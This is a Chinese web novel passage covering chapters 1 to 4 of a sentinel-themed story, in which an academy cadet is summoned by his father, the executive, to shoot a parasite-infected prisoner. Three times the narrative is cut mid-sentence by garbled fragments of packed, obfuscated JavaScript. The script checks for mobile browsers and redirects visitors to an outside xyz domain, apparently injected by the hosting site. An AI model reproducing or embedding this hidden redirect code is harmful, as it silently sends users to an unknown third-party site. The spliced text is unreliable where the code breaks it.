《笨蛋哨兵又在修罗场中心了!》 1. 第 1 章 审讯室内。 阴湿的墙壁上凹凸不平,似乎刻着别有深意的浮雕。一盏巨大的灯高悬在顶上,将内里瘫倒在地上的人照得无比清晰。 四周都是摄像头,全然对准了那个穿着囚服的被关押者,让这人脸上任何闪过的情绪都无所遁形。 一堵透明的玻璃墙将房间陡然分成了两部分,而此刻整个房间里只有这个囚犯,执法队并不在此。 穿过几堵墙之后,冷色调的房间里。闪着蓝光的电子屏清晰倒映出囚犯的脸。 那张脸上的表情扭曲发狂,眼睛血红一片。另一块电子屏显示着他正神经质地抠挖着坚硬的水泥地,指甲与地面摩擦时发出簌簌的难听声音,令人闻之悚然。 坐在屏幕前的男人抬手按住耳机,垂着眼仔细听着那边的动静。 囚犯猛地抬起头,一双血红的眼睛直直望向监控,仿佛是隔着冰冷的屏幕和那头的人对视上了,瞪着眼从喉腔发出一声动物性的无实意嘶吼。 声音浑厚绵长,仿佛自带混响,一瞬间便打碎了原本的凝重安静,那刺耳的声音直直传进耳机里,几乎要穿透耳膜,带着毫不掩饰的攻击性。 耳机里声浪不停,连站在旁边的几个身着规整制服的人都透过耳机听见了这一声,耳膜被余音震得发疼,忍不住抬手捂了捂耳朵。 而戴着耳机的男人却只是轻轻拧了下眉。他按理来说比他们受到的冲击更大,但反应却极淡,只是抬手取下了耳机,随意将头戴式耳机放在了大理石桌上。 微敛了眸,不知道在思索什么。 无一人说话,连呼吸的声音也几乎听不见。 “执政官阁下,”半晌,他身旁一位站着的青年忍不住开了口,“这个人……他,怎么处理?” 他略有些紧张地指了指屏幕,对于这位已然开始发狂的囚犯显然很是不知所措。 电子屏里的囚犯不再执着于用指甲挖地,站起了身开始猛力捶打玻璃墙。 砰、砰砰! 一声又一声,几乎让人产生他是不是真的能徒手把材质玻璃砸碎的错觉。恍惚间连地板都在随之颤动。 缺乏经验的青年看着屏幕那头逐渐失控、简直像是发了疯似的囚犯,忍不住咽了咽口水。 半晌,执政官终于说话了,微微侧头,问起的却是另一个人:“黎珞言呢?” 他身后的军官迅速反应过来,回道:“按课程安排来说,小黎少爷现在应该在联邦军校的训练场。” 执政官手指轻叩桌面,一下又一下,富于节奏感的闷响几乎敲在在场每一个人的心上,空气越发凝重了。 “你们……”执政官转过头来,打量似的看向他们。 “阁下我还是留下来看着罪犯吧。” “阁下上次就是我去叫的,这次是不是……” “阁下……阁下我突然头疼。” 突然之间在场的这群人责任心也上来了,病也上来了,语速飞快,生怕比别人说慢一步,默契拉满了。 执政官不至于连回绝的借口都听不出来,沉默片刻,忽地抬头看向先前说话那位青年,唤了声:“齐泽。” 刚进执法队的愣头青齐泽双脚瞬间并拢,立马站得极其端正,应道:“是。” 执政官颔首道:“那就辛苦你去训练场把黎珞言带过来了。” “……是,阁下。” * 联邦军校。 齐泽驾驶着小型飞行器,到达后随便找了个人,问清一年级生训练场地在哪里之后,就直奔而去了。 来来往往的都是军校生哨兵,齐泽来回穿梭,一边比对着照片,一边东张西望,好半晌也没看着照片上的哨兵身影。 嘶!没错啊,这就是一年级生的训练场地啊。怎么会找不着人呢。 突然肩膀被人拍了下。齐泽猛地扭头,首先映入视线的就是一头烈火一样张扬的红发。 他怔了一下,第一反应就是抬手看向手里的照片,仔细比对了一下。照片上的少年长着一张极俊帅的脸,黑发绿眸,脸上没什么表情,冷着脸看上去挺能唬人的。 齐泽反复观看照片,再三确认眼前男生不是自己要找的人后,又抬头看向眼前的红毛。 ……所以,这谁?? 对于影响自己任务的人,齐泽心里烦的不行,但还是保持礼貌微笑:“请问有什么事吗?” 红发哨兵也没太在乎他的态度,眉毛一挑,朝照片努了努嘴,单手插兜,十足的少爷姿态,傲慢得仿佛能和他多说一句话是多么难得的福分:“你找黎珞言?” 听见这个名字,齐泽脑子里有块地方的灯泡一亮。 黎珞言! 他心觉找人的任务即将成功,态度都积极了起来,不像方才那样隐含着不耐烦了:“对……你是?” 红发哨兵两指并拢,极其自然地从齐泽手里夹走黎珞言的照片,也完全忽视了对面人被夺走照片时一瞬间难绷的神情。 手指轻轻摩挲照片上少年的脸,头也不抬,抽空回道:“奚元,黎珞言的朋友。” 齐泽:? 这是!他带来的!照片! 齐泽眼睁睁看着对方把照片顺手就放进了训练服外套口袋里,动作流畅得就好像这本来就是他的东西一样。 也罢!任务要紧。这也算是他进执法队以来的第一个任务了。 齐泽忍气吞声,微笑道:“那请问黎珞言现在在哪里?执政官阁下唤他过去。麻烦你……” 奚元直接打断:“他溜号去洗手间了,你在这儿等等吧,我去喊他。” 齐泽再度忍气吞声,用尽修养扯出一个礼貌的微笑:“不用麻烦了,我和你一起去吧。” 奚元皱了眉:“不用了,你在这儿等着就行。” 齐泽微笑:“真的不用麻烦你。” 这人是听不懂话吗?? 齐泽和奚元的想法在这一刻巧合地达成了统一。 奚元终于心生烦躁,不耐地啧了一声。正想发作时,一抬头恰好看见刚从室□□击场出来的人,眼睛一亮。 挥手大声喊道:“尹惟!过来一下!” 齐泽不由自主地转身看去。 刚出射击场的是个扎着高马尾的高个女生,头发挑染了几绺雾霾蓝,混杂在黑发中,看上去有点酷。 脖子上挂着一副耳机,正低着头,手上发力撕扯开粘贴式黑色护腕,取下后活动着方才承力过猛的手腕,骤然听见自己的名字,扭头看过来。 和红头发少年对视一眼后,她微眯了下眼睛,刹那间就意识到了什么,移开视线轻飘飘地看了眼他对面的陌生青年,似是在进行思考。 片刻后,她顺手把护腕扔进了自己的储物柜里,伸手啪嗒一声将其推合上了,接着就抬脚走了过来。 奚元等她走近后,看着她说:“黎叔叔派他来找梨子,应该是有什么事。” 在短暂的对视中,尹惟接收到信号,侧头看向眼前的陌生青年,不着痕迹地上下看了看他,似是在打量。齐泽敏锐地察觉到她的视线,感到不适地皱了皱眉。 尹惟收回了视线,出口的话是对奚元说的:“梨子不是去洗手间了吗?” 奚元接着说:“对,我准备现在就去找他。” 齐泽试图插话:“我……” 才说了一个字就被尹惟直接打断:“那你快去吧。” 奚元双手环抱:“行,我先去找他。那这位小军官怎么办?” 齐泽再次尝试插话:“我……” 尹惟恍若未闻,极有默契地和红毛打着配合,接着他的话就说:“我陪他在这儿等一会儿吧,你先去找梨子,别让人久等了。” 两人一唱一和,齐泽没找到任何插话的空隙,回过神来就发现自己已经被安排好了。 齐泽:?他请问呢? 话音刚落,红发男生转身就走了,齐泽“诶”了一声想追上去,却被尹惟一把拽住。 “我见你有点面生,是执法队的新成员吗?”见他扭过头来,尹惟一改先前的散漫懒怠,脸上瞬间挂上很公式化的笑容,就像是突然想起来营业了一样。 客观来说,她眼睛偏圆,弯起眼睛时看上去格外好说话,浑身气质说实话算不得柔和,但如果参考物是方才没礼貌的红毛的话,那她看起来要好脾气得多。 至少齐泽更愿意和听得懂人话的人沟通。 齐泽拧着眉,再回头看过去时,有着一头显眼红发的哨兵已经跑没影了。他烦躁的情绪已经快要溢出去了,冷哼一声放弃了跟过去的念头。 那……就等一等? 齐泽心情很糟地回道:“我算是试训期吧,最后能不能留在执法队还得看执政官的意思。” 尹惟笑道:“那祝你顺利了。” 齐泽:“哈。” ……多亏了你们,已经开始不顺利了。 * 奚元走过转角过后,脚步一顿,探头回去看了眼,确认那个被派来的军官没跟上来之后,立马就加快步伐转走为跑。 奇怪的是他并没有朝洗手间的方向去,而是在拐角处换了个方向,抄了个近道离开了训练场。 刚出训练场,他就迎面撞见一个慌里慌张往里赶、嘴上念叨着“迟到了迟到了”的卷毛哨兵。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496411|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哥们,飞行器借用一下!后面还你。”奚元经过他时拍了下他的肩,边说话边与那人错身而过,显然是不想浪费任何一点时间。 话音刚落,一把钥匙呈抛物线被扔了出来,奚元一个转身,抬手准确无误接过,一头张扬炽热的红发在空中留下过流畅漂亮的线条轨迹。 那人慌里慌张掏出钥匙扔给他之后,往训练场赶的步伐未停,嘴上连连道:“送你了哥们。” …… 空荡荡的宿舍楼内,急促的脚步声不断响起,伴随着剧烈奔跑时重重的呼吸声。 本该是所有人都应该在训练场的时间点,每个宿舍都把床铺收拾齐整,被子叠成了豆腐块模样。……除了310宿舍。 与专门培养向导的白塔相同,联邦军校是为培养哨兵而设立的学院。住宿条件说不上差,但也比不得白塔的环境那么优渥,基本都是双人宿舍,美其名曰是起到一个舍友间相互监督的作用。 当然,也可能仅仅是为了节约公共资源。 此时的310宿舍,窗帘被拉拢挡住了光,也没开灯,宿舍里光线很暗。进门左右两边的床看着明显不一样。右边的床铺上干净整齐,被子被叠得整整齐齐,很符合检查宿舍卫生的标准。 而左边床上显然躺着人,床上的人一看便是在本该去训练场的时间躺在宿舍里睡觉,被子被盖过肩膀,他侧身安然睡着,露出一头毛茸茸的黑发。 房门处传来点推门的响动,没推动,旋即从外面敲响了两下,黑发少年全然未觉,不受影响地裹在被子里熟睡着。 宿舍隔音效果很差,没过几秒就传来了钥匙插入锁孔的声响。 吱呀——。 宿舍门被从外面打开了。奚元重重踩着地板,似是泄愤,抬手“啪嗒”一声摁下宿舍灯光开关。 白炽灯瞬间将整个房间照亮。 黑发少年皱了皱鼻子,闭着眼睛,默默把被子拉过头顶。这下整个人都被埋进了软和的被子里。 “黎珞言!赶紧起来!”奚元毫不收敛音量,推了推沉沉睡着的黑发哨兵。 见这人仍跟没听见似的一动不动缩在被子里睡觉,他沉默地盯着拱起的被子几秒后,手下无情地把被子一把扯住,毫不留情掀开。 “唔。”黎珞言努力扯住,但睡梦中的人难以匹敌神清气爽且来势汹汹的哨兵,最终遗憾失被。 他整个人被暴露在了空气中,但好在主观能动性很强,没几秒,他翻了个身继续睡好。甚至还攥住枕头把另一只耳朵挡住了,就像自己手动制作了一副耳机,将红毛的叫醒服务阻绝在外。 奚元差点被气笑,单手撑住床头的杆,俯身大喊:“赶紧起床!!” 黎珞言不动如山,宛如开启了自动屏蔽。 奚元加大了音量:“你父亲又派人来找你了!” 好一会儿没等到动静,奚元的视线落在他捂住耳朵的枕头上,微一挑眉,自言自语般说道:“再不醒我就只能动用特殊手段了……” 他笑眯眯地盯着黎珞言的脸,心里默数了十声,看黎珞言仍旧没有任何反应,时间一到,他便慢悠悠地伸出一只手捏住了黑发哨兵的鼻子。 看着他瞬间拧起的眉,奚元目的达成,笑眯眯地继续捏着懒鬼的鼻子,不紧不慢数着:“三、二、一。” 黑发少年呼吸受阻,在他数到“一”的那瞬间猛地睁开眼睛,露出那双仿佛水浸过一般的明亮绿眸,脸皱成一团,带着茫然地望着突然近在咫尺的一张脸。 被这样望着,奚元眼皮轻垂,禁不住移开了视线,没再和他对视,手也松开了捏住的鼻子。 奚元站直了身子之后,看向别处使劲眨了两下眼睛,找回平常的语气:“快起来了,黎叔叔那边还等着你,不然让他知道你训练时间在睡觉的话,你又得被批一顿了。” 黎珞言半梦半醒地坐起了身,其实刚睡醒的脑子根本没听清他在说什么,但还是很给面子地认真点点头。即便坐起来了,也还是困得发晕。 奚元说了那句话后就不见了,黎珞言一个人姿势端正地坐在床上,几分钟后忍不住浅浅地打了个哈欠,一时间困意又上脑子,仿佛下一秒就要倒下去继续睡了。 就在梦想即将成真的时候,肩膀忽地被突如其来的一只手稳稳握住了。 黎珞言刚合上的眼皮立马就睁开了,似乎是为了消除睡意,他把眼睛睁得很大,看上去又呆又懵。 面前人似乎叹了口气,黎珞言眨了眨眼睛,还在慢吞吞地想怎么叹气了,就听见他说“闭眼。” 闻言,他很快把眼睛闭上了,绿宝石一样的眸子重新被眼皮盖住。 2. 第 2 章 仅穿着件黑色无袖背心的黑发哨兵闭着眼睛坐在床上,紧绷在身上的背心显露出流畅漂亮的肌肉线条,一看便是经常运动留下的。手随意地撑在床边,白皙皮肤下的青紫色血管顺着小臂蜿蜒往上。 他仰着脸,闷了水的毛巾拍在他的脸上,给他擦脸的人显然也没有多少照顾人的经验,抓着毛巾胡乱地在他脸上抹了两圈,就把毛巾重新闷进水里,几秒后毫不留情再次拍在黎珞言的脸上擦擦擦。 “唔……!” 口鼻被闷在湿毛巾里,简直像是在给他上水刑。黎珞言昏昏沉沉的意识一扫而净,这下完全清醒了,偏过头艰难躲开追着他脸捂的毛巾,张开嘴抓紧呼吸了几下。 见奚元还想给他擦脸,他眼疾手快攥住奚元的手腕,从毛巾后面探出一张脸,认真强调:“真的已经擦干净了。” 湿润的水珠从俊帅的面庞滑下,黑发哨兵歪着脑袋,鼻梁高挺,绿色眼眸里仿若氤氲着水汽,亮晶晶地望着人,刚睡醒还未打理过的头发乱糟糟的,还反方向地翘了几根起来。 奚元凑近,仔细观察了一下,又伸手用手背碰了碰少年还残余着水珠的脸颊,像是在确定是不是真的擦干净了,确认完成后,将毛巾扭干,覆在少年脸上擦干净了水渍。 黎珞言手撑着床,奚元刚离开几分钟,他就又忍不住打了个哈欠,小声嘟囔:“好困,好想睡觉。” 从天而降的衣服突然砸过来,黎珞言慢吞吞地抬头,还没来得及作出反应就被训练服罩住了脑袋,一睁眼一片漆黑,干脆就趁着这几分钟闭眼轻寐了会儿。脑袋被重量压得沉下,像个电量耗尽待机的机器人。 等到奚元把盖在他头上的一套训练服拽了下来扔在了床上,黎珞言才终于重见光明,眨着眼睛偏头看过去,好奇道:“是去训练场吗?” “不管去哪里,你现在都应该穿着训练服去,”奚元双手环抱,大爷似的后仰躺在椅子上,单边眉毛挑起,看着仍没动弹的黎珞言,问道,“怎么?还要我伺候你穿衣服?黎大少爷。” 黎珞言泄力向后倒去,在铁面无私起床监督者的看管下,他浅浅睡了五秒,一到点不得不伸出手将衣服一股脑团在手里,慢吞吞爬起来,一声不吭去了卫生间。 卫生间水声响起,过了会儿又是窸窸窣窣的衣物摩擦声,半晌,再出来的时候,黑发哨兵已然收拾齐整了。 黑发哨兵从卫生间出来后,斜身倚着墙,半低着头慢悠悠系着腰带,乌黑碎发微微垂下,一双清亮的绿色眸子漫无目的地盯着不远处,像是在走神。 严整贴身的深棕色训练服将整个人恰到好处的身材比例完美显露了出来。 着装得体之后,眉眼都不似刚睡醒那样懒怠了,反而透着股锐利的冷意,很不好接触的模样。 奚元嘴里叼着根饼干,腿交叠着搭在桌上,听见门开的响动,漫不经心看过去一眼,招呼道:“行,收拾好了就走吧。” 但黎珞言系个腰带也跟磨洋工似的,好不容易扣好了,又开始像乌龟一样往门外挪动了,全身上下都散发着浓烈的不情愿出门的气息。 奚元把饼干“咔擦咔擦”嚼碎咽了下去,顺手从饼干盒里抽出一根长条饼干,走过去之后抬手就塞到黎珞言嘴里,看着他张口咬住一截。 手落下,从低头吃饼干的哨兵脖子后面绕过去按在他的肩膀上,五指收紧攥住肩上那一小块布料,既像是揽着他又像是在拽着他往外面走,嘴上似是不耐烦的抱怨:“再这么不配合你猜我以后还会给你打掩护吗?” 黎珞言被他拽得差点一踉跄,迅速把饼干塞嘴里吃完了,调整步伐立马跟上他的速度,不至于被拖着走,一边努力为自己赖床的行为做出合理的解释:“我很困嘛。” 仅仅吃了一根小饼干,他完全没吃饱,反而被勾起了食欲,于是偏头凑近问道:“还有吃的吗?” 说得怪可怜的。 奚元斜眼扫他一眼,对上一双亮晶晶望着他的绿眸,停顿几秒,从兜里摸出一支营养液,递过去:“诺。只有这个。” 他有点心不在焉,没注意自己直接把营养液递到了黎珞言嘴边。 黎珞言扭回头看着近在咫尺的营养液,迟疑着。 营养液,不好喝。 但是不喝就会很饿。喝不喝喝不喝喝不喝……? 几秒的心理斗争结束后,最终萦绕的饥饿感还是战胜了那点挑食的想法。 黎珞言眨巴了下眼睛,伸头去够,张嘴就咬住了营养液。嘴上衔着长条营养液,随着被拽着下楼梯的动作一晃一晃的,像小狗吐舌头似的。 他慢吞吞咬住营养液撕开封口处,弯起眼睛,心满意足地沉浸式喝完了整支。 * 执政官手指轻叩桌面,脸上看不出情绪。 等待的时间一点点过去,还不见齐泽带着黎珞言过来的身影,气压越来越低。整间屋子安静得几乎要凝成冰了。 后面几个执法队的队员面面相觑,一声不吭,心里默默祈祷着齐泽赶快带上人过来。 不知道过了多久,门外传来一连串不规则的脚步声,随着执法队队员逐渐亮起的眼睛,门在万众期待下被敲响。 “进。”执政官淡声道。 门从外面打开,齐泽进来后站姿端正,抬手敬了个礼。 站在后面的几个执法队队员伸长脑袋往他身后看,空荡荡的,似乎没人跟上来。他们心里骤然一凉。 执政官也抬了头,微侧过头往门口看,半晌没看见人影,刚想开口问,就听见一阵急促的脚步声。 比声音更先出现的是一头漆黑的短发。 扶着门框喘了几口气总算调整好呼吸的黑发哨兵抬起头,额前碎发下是一双漂亮的绿色眼睛,右耳上缀着颗小小的银色耳钉,在白炽灯的照耀下折射着些许亮光。 他身上还穿着联邦军校统一的训练服,腰带勒出劲瘦而富有力量感的腰身,一手抓在门框上,袖扣被解开了,似乎是被随手撸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496412|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,露出了一截肌肉紧绷着的小臂。 “抱歉,到晚了点。” 黎珞言抿着唇,进来的第一眼就看向了坐在显示屏前、也正抬头看着他的执政官。 执政官平静看着他,脸色没什么变化,甚至可以说是没什么表情,他浑身上下都隐隐透着一种威严气场。——执法队的成员总不太敢在他的面前放松说话。 显然,他此刻并没有要寻根究底问清楚黎珞言到这么晚的原因,只是微一颔首:“你……” “不好意思不好意思,我也来晚了。” 黎珞言只觉身后一阵风闪过,头发都被这阵疾速的空气吹得晃了晃。一只手自然而然搭在了他肩上,余光里映入一点火红的颜色。 他眨了眨眼睛,侧头看过去,咬耳朵般小声道:“你怎么这么慢。” 奚元也旁若无人地偏头小声回答:“还不是去给你买吃的了。” 他维持着单手插兜的动作,黎珞言顺着他的暗示低头看去,果然看见他口袋里塞着的面包,绿眸亮了亮。 奚元和他挨得很近,在面前一群人的视线盲区中偷偷把面包递给了黎珞言,黎珞言又悄悄塞进了自己外套口袋里,使劲往里面按了按,让面包的存在不那么明显。 执政官的位置刚好能看完全程,他盯着他俩自顾自交递面包的隐蔽小动作,眉心微蹙,他有让奚元跟着一起来吗? 看着黎珞言因塞了面包而微微鼓起的口袋,执政官终于开口了,直接打断了那俩人的互动,淡声唤道:“黎珞言。” 黎珞言停了小动作,眨着眼睛看向他,安静等着他说后面的内容。 执政官起了身,道:“跟我来。” 走到门口时,他脚步一顿,回头吩咐道:“你们待在这里。” 显示屏连通了审讯室的监控,实时反应着审讯室那边的情况。 撕拉—— 黎珞言撕开了面包,看着执政官经过自己,他低下头连忙咬下几口,抓紧时间填饱肚子。 奚元买给他的是蓝莓夹心面包,一口咬下去甜味充溢口腔,甜得发腻。奚元不太爱吃这种过于甜腻的食物,但黎珞言…… 奚元发自内心地觉得他几乎什么都吃,简直是联邦军校最能吃的那一款哨兵。 除了抗拒几乎没什么味道的营养液外,吃什么都能吃出美味。——他一度觉得黎珞言如果在星网上做吃播也完全能做到top级别。 见他要跟上去了,奚元稍微侧身倾向了他,碰到了黎珞言自然垂在大腿处的左手,轻轻捏了捏他手上的一点软肉,小声安抚:“去吧,我在这边等你。” 黎珞言几口就把面包塞进嘴里嚼吧嚼吧咽了,感受到手心的轻柔触感,他歪了下脑袋,似乎是在思索。 三秒后,他神清气爽地跟上等得快要不耐烦的执政官后面走了。 奚元眼角抽搐,手里多了一个失去面包的空包装袋。 ……什么垃圾都往他手里塞是吗?? 3. 第 3 章 墙壁凹凸不平,明明四处都能被光照亮,却莫名让人觉得待在这处空间里便有冷气飕飕往身上窜。 黎珞言跟在父亲身后进了审讯室。 玻璃墙隔开的另一边,空气安静得不像话。黎珞言垂眸看过去,只看见一个躺在坚硬地上的人,没有任何声响,就连胸口的起伏也不甚明显,是让人怀疑他是不是还有呼吸的程度。 黑发绿眸的哨兵轻轻侧过头,目光直直望向自己身旁始终冷着眸的执政官。 此刻的他看起来和在宿舍那时明显很不一样,褪去了懒怠与困倦过后,倒更像是齐泽找他时手里拿的照片那样透着点苏帅的冷感。 执政官面色冷峻,手置于腰间,平静看着仿佛死了一样安静的囚犯。片刻后,动作干脆利落地拔出手枪,递给身边的人:“解决他。” 黎珞言停顿两秒,才将其握住。 通体漆黑的枪身,被握在了手心里,衬得他手背有点苍白。黎珞言轻抿着唇,眉眼微凝,不笑的时候显得极为冷漠不易接近。 玻璃墙在识别到执政官的掌纹后自动打开了。 * 显示屏中,隔绝两边的玻璃墙消失,黑发哨兵右手握枪,踏进了囚犯所在的那一边。旋即玻璃墙重新出现。 一道透明的玻璃将他与执政官完全隔开。他站姿端正,低下头看着近在咫尺的躺倒在地的囚犯。 ——他被隔绝在了囚犯所在的那一边。 看见这一幕奚元垂至身侧的手半握成拳,忍不住啧了声,沉默几秒后出声问道:“那犯人什么情况?” 执法队的几个成员互相看了看,一时无人回答。他们也不知道在进审讯室之前,执政官阁下有没有和小黎少爷讲过室内犯人的情况。 但不管小黎少爷知不知情,显然眼前这位一旦知道了那个犯人是感染者,肯定一秒也不会多等就冲进审讯室里了。 作为被迫和他打过太多交道的人,执法队队员毫不怀疑上述推测的真实性。于是支支吾吾起来,“这个……那个……”了好半天,也没说出什么有效信息。 奚元意识到不对劲,嘴角压平了,棱角分明的脸瞬间显出几分张扬逼人的锐利来,回过头来没有表情地盯着他们。 刚进入执法队的职场新人齐泽见状主动出声,打破凝滞的局面:“你看看不就知道了。” 他完全没有被奚元的眼神恐吓到,反而毫不心慌地和他对视着,实事求是地说:“审讯室只有执政官阁下的命令才能打开,你又进不去,还不如在这里看着显示屏,至少能知道里面发生了什么。” 奚元盯着他,向来带着几分戏谑笑意的眸子此刻尖利得出奇,瞳孔在一瞬间缩成一条线,像是大型猫科动物在捕猎过程中会有的眼神。但下一秒又变回了原样,让人忍不住恍惚刚才看见的似乎只是错觉。 齐泽正正回看着他:“你看着我也没用,你还是看着屏幕吧。我看你还挺担心他的。” 奚元眯了眯眼睛,手紧握成拳当场就想发作,但想到这还是在执法队的地盘,最终还是按捺住了这份冲动。 他抬脚使劲一踢面前的椅子,稍微泄了点积压的火气。椅子砸在地上“咣”的一声敲在在场每一个人的耳膜上。 脾气差到几乎可以算得上是一点就炸的哨兵嗤了一声,罕见地没当场发作,也没说话,手握成拳撑在桌上,目光重新投向了屏幕,眸光专注认真。 …… 黎珞言没有从执政官口中得到关于这个身穿囚服的被关押者的任何信息,从始至终他听见的只有一句话——“解决他”。 躺在地上的人满身是汗,皮肤裸露在外的地方都被像是被利爪抓过,手上血迹斑斑,闭着眼,薄薄的眼皮青紫,仿佛血管下一秒就能跳出来。 或许也不能完全将其称之为“人”,只是长了人样,但喉腔中发出的悲鸣极具动物性,喉管不断震动,心脏却不受影响,没有任何动静。 黎珞言的眸光平静而淡,他似乎没有意识到自己处在一个多么危险的处境。低下头居高临下地望着失去意识的犯人,迈开腿,靠近了那人的位置。 就在那一瞬间,地上的囚犯突然暴起,睁开眼已经看不见眼白了,一片血红。身体以一种诡异的不正常姿态立了起来,宛如一个巨大的橡皮人。 残余着猩红血肉的指甲突然变长,尖利的指甲闪着银光,光看着就能知道即便只是轻轻划过皮肤也能瞬间划破皮肤表层、飙出鲜血。 尖锐的银光带着几乎能刺破眼球薄膜的锋芒,映在澄澈的森绿色眸子里。 ——一切仿佛被慢放。 紧盯着显示屏的奚元看着这一幕瞳孔骤缩,指甲深陷入掌心,忍不住骂出声:“这是感染者!” 原来是感染者…… 奚元冷着脸,阴影打在脸上显出几分瘆人,一字一句:“你们让他一个人去?你们疯了吗?!” 他一拳砸在桌上,裂纹像蜘蛛网一样蔓延开,碎屑被扬起在空气中。 “砰——” 手枪射出子弹直直穿过掌心。 直冲挖眼睛而来的那只手的掌心在即将接近目标时陡然出现一个血窟窿,在空中停滞一瞬,旋即失力垂下。 “嘶啊啊——”刺耳的声音响起,囚犯捂住自己受伤的手,失控地尖叫出声。 枪口还在冒烟。硝烟味散在空气中,随着呼吸荡出的波动而波动着。 黎珞言当机立断稳稳射出一枪,眉眼沉凝。即便方才的一瞬间发生了那么可怕的事,他却连脚步也没有挪一下,见感染者重新倒在地上,他将枪重新插入腰间,向前迈出一脚。 熟褐色军靴踩在手臂与掌心的连接处,深覆了上去。 那只手臂陡然间青筋突起,然而他越挣扎,压在他手上的那道力度就越大,直到他被迫停止了挣扎。 随着血液涌出,感染者的指甲一点点缩短,直到恢复成了正常人类的尺寸。身体抽搐了两下,原先的疯狂一点点从眼神中抽离出去。 他大口喘着气,眼睛中充斥着惊恐,从他的角度只能看见眼前军官垂下的眼,冷漠无情的,此时正居高临下地望着他。 黎珞言眨了下眼睛,才后知后觉地反应过来。 是感染者啊。 意识到这点后,他的表情也没有太大变化,只是问道:“他还能活吗?” 审讯室里具有自主思考能力的只有他和执政官,那么这样一句听起来很天真可笑的话自然是问玻璃墙那边的那位执政官阁下的。 那边的声音穿过玻璃墙,传到他耳里时带着某种失真的味道:“他背叛了联邦。在他加入星际海盗的那一刻,就意味着他接受了自己的命运。” “勇于与那群毫无人性的星盗为伍,被感染便是他为此支付的代价。小言,你觉得感染者还残存着自主思考的能力吗?” 黎珞言垂眸看着地上被寄生异兽折磨得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496413|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成人样的人,地上混杂了汗水、血液各种液体,将深黑的地面浸湿了一大片。 “我明白了。” 黑色手枪再次被他握在手里。枪口这一次对准了囚犯的眉心。 他轻轻闭上眼,碧绿的双眸被薄薄一层白皙眼皮遮盖。无形的感知在此刻由点绽开,遍布整个密闭空间中。 仔细看去,会发现他的眼皮在小幅度地发颤,眉心微蹙。 枪口不再停留在原先的位置,而是一点点下移。 * “偏了。” 齐泽专注地看着屏幕,未经思考就吐出这句话。 “呵。”奚元冷笑一声,说话带刺似的,“就算你射击打个一环,他都不会射偏。” 即便态度依旧带着戾气,但明显可以看出他较刚知道那人是感染者是要放松了不少。梨子能应付,并且应对得很好。 齐泽懒得和他争辩这些,他有眼睛,能看见黑发哨兵握枪的手一点点下移。 一击毙命当然是直击眉心。他不知道屏幕里的少年在想什么,又或者是力度不够,手不够稳……但明眼人都能看出枪口此时没有对准眉心。 还是年纪太小。联邦军校的学生即便再天才再出众,都还没有积累足够的经验,实战时缺乏经验是很正常的事。更何况他能够稳稳站在感染者的对面就已经胜过了一大半军校生了。 至少齐泽可以肯定,即便是他,在已知对方是感染者的情况下,也很难做到像黎珞言一样冷静淡然。 屏幕里的哨兵扣动了扳机,子弹高速射出,最终穿过靠近嘴角的颊侧。 在齐泽看来,在目标没有动弹的情况下,相当于照着固定靶子打枪,那么这一击可以说是非常偏了。 他感到有点可惜,明明先前无论是心态还是出枪的速度都那么优秀,现在却不知是受了什么影响,本来应该一枪毙命的枪口却偏了这么多…… 虽然和同龄人相比仍然优秀出众,但失误在这种地方,只能说是训练不够。 他想起自己去训练场找人时,没有看见这位哨兵的身影,于是顺理成章给人下了定义:一个仗着自己执政官独子的身份便摸鱼划水、疏于训练的哨兵。 “啊啊啊!!——” “咦呀呜——” 两道声音同时炸起。一道是属于人类濒临崩溃时的声音,另一个频率更低,是属于异兽会发出的音波。 连接着审讯室那边的音响传出的两道声音使得齐泽刹那间睁大了眼睛,他慢半拍地抬眸盯住黎珞言手上还在冒烟的枪口,终于意识到了枪口为什么要下移对准最后开枪的地方。 他不可置信地、几乎是从喉咙里噌的一下冒出来地惊道:“他能感知到异兽所在的位置?!” 不是失误,不是手抖,从始至终审讯室里的黑发哨兵手都稳得过分,每一枪都经过了考量思虑! 最后那一枪,是奔着寄生的异兽而去的! 奚元眉梢一挑,与有荣焉,唇角禁不住扬起了一个弧度。 显示屏里的黑发哨兵始终冷静又平淡,轻轻垂着眸,似乎并不觉得自己做了一件多么不可思议的事。 身后传来倒吸一口冷气的声音,然后是讨论似的窃窃私语。 “……这就是s+级别的感知力吗?” “我、靠。” “艹!我没记错的话他才刚进联邦军校吧,这个水平绝对已经秒杀大部分人了吧!” 4. 第 4 章 被枪射穿的血窟窿逐渐开始张大,人类身躯的伤口里缓缓爬出一个模样怪异的生物。 